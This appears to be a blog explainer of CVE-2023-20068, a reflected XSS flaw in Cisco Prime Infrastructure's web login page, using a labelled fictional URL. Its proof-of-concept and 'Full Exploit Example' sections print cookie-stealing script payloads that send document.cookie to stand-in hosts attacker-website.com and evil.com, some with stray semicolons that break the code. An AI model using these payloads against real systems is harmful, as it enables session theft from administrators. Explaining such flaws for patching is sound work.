CVE-2023-20068 - Reflected XSS in Cisco Prime Infrastructure’s Web Interface – Explained and Exploited
In early 2023, Cisco disclosed a critical security flaw, CVE-2023-20068, which impacts its widely-used network management platform, Cisco Prime Infrastructure. This vulnerability enables unauthenticated remote attackers to launch *reflected cross-site scripting (XSS)* attacks against users who access the web-based management interface. In simple terms, it means an attacker could execute malicious JavaScript in your browser and steal your data, all by tricking you into clicking a link.
What Is CVE-2023-20068?
Cisco Prime Infrastructure helps organizations manage large networks, devices, and configurations. Unfortunately, in versions affected by CVE-2023-20068, the software does not properly validate user-supplied input on its web-based management interface. This leads to a classic *reflected XSS* vulnerability.
Threat:
If an attacker sends you a specially crafted URL and you open it while logged in (or if your session is active), their malicious JavaScript will run in your browser. They could then:
- Steal cookies/session tokens
How Does the Exploit Work?
Reflected XSS happens when a web application takes user input, includes it in the output page without filtering or encoding, and sends it back to the browser. No authentication is needed to launch the exploit; the attacker only needs to convince a legitimate user (like a network admin) to click their evil link.
Suppose the Cisco Prime interface has a URL like this (fictional example)
https://your-prime-server.com/web/guest/login?returnUrl=/dashboard
If the software reflects returnUrl parameter straight into the HTML, unsafe, an attacker can inject JavaScript:
Malicious Link
https://your-prime-server.com/web/guest/login?returnUrl=<script>alert('XSS')</script>;
Code Snippet: Proof-of-Concept (PoC) Exploit
Below is a common JavaScript payload that pops an alert box. In a real attack, this script might steal credentials or do something harmful.
// Example payload injected via the vulnerable GET parameter
<script>
// Proof-of-concept: pop up a dialog
alert('CVE-2023-20068 XSS Exploited!');
// Or exfiltrate cookies (for demo only)
fetch('https://attacker-website.com/steal?cookie='; + document.cookie);
</script>
Just replace returnUrl in the URL with the script above (URL-encode it)
https://your-prime-server.com/web/guest/login?returnUrl=%3Cscript%3Ealert('XSS!')%3C/script%3E
Attacker crafts a malicious link containing a JavaScript payload in a vulnerable parameter.
2. Victim (admin/user) clicks the link while logged in or with an active session.
Video Demo
Watch a similar reflected XSS demo (from another platform, but principle is the same):
YouTube: What is a Reflected XSS attack?
Full Exploit Example
To demonstrate further, here's a simple “cookie theft” exploit. Suppose the attacker controls the domain evil.com:
Injected payload (URL-encoded)
<script>
fetch('https://evil.com/stole?cookie='; + document.cookie);
</script>
Malicious link
https://your-prime-server.com/web/guest/login?returnUrl=%3Cscript%3Efetch('https://evil.com/stole?cookie=';%2Bdocument.cookie);%3C/script%3E
When the victim clicks, their browser sends session cookies to the attacker.
Cisco Security Advisory:
CVE-2023-20068: Reflected XSS in Cisco Prime Infrastructure
National Vulnerability Database:
OWASP XSS Cheat Sheet:
https://owasp.org/www-community/xss
Cisco Prime Infrastructure Documentation:
Conclusion
CVE-2023-20068 highlights why input validation is *essential* in web apps, especially in critical infrastructure management. Reflected XSS can be devastating in admin contexts, and attackers don’t even need to log in. Always patch quickly, educate your team, and audit your network tools regularly!
Timeline
Published on: 04/05/2023 16:15:00 UTC
Last modified on: 04/11/2023 19:27:00 UTC